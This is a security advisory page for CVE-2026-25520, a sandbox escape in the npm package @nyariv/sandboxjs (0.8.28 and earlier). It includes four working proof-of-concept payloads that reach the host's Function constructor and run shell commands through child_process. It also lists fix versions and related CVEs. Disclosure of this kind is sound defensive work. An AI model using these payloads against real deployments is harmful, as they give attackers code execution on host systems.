CVE-2026-25520: @nyariv/sandboxjs has a Sandbox Escape issue
Summary The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.
Published Feb 5, 2026 · Updated Feb 6, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.28
- Fixed in
- 0.8.29
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The return values of functions aren't wrapped. Object.values/Object.entries can be used to get an Array containing the host's Function constructor, by using Array.prototype.at you can obtain the hosts Function constructor, which can be used to execute arbitrary code outside of the sandbox.
Details
The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization.
PoC
const s = require('@nyariv/sandboxjs').default;
const sb = new s();
payload = `
console.log(
Object.values(this).at(0)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)[0].at(1)(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);
`
sb.compile(payload)().run();const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
console.log(
Object.entries(this)
.at(0)
.map((f) => {
if (typeof f === 'function') {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
}
}),
);
`
sb.compile(payload)().run();const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
const t = (f) => {
f.call('', 'return process')()
.getBuiltinModule('child_process')
.execSync('ls -lah', { stdio: 'inherit' });
};
console.log(t.call(...Object.entries(this)[0]));
`
sb.compile(payload)().run();Impact
Sanbox Escape -> RCE
Credited to c0rydoras.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-43898
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
critical10.0May 11, 2026CVE-2026-34208
SandboxJS: Sandbox integrity escape
critical10.0Apr 3, 2026CVE-2026-26954
SandboxJS affected by a Sandbox Escape
critical10.0Mar 13, 2026CVE-2026-25881
@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
critical9.0Feb 10, 2026CVE-2026-25586
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
critical10.0Feb 5, 2026CVE-2026-25587
@nyariv/sandboxjs has a Sandbox Escape vulnerability
critical10.0Feb 5, 2026
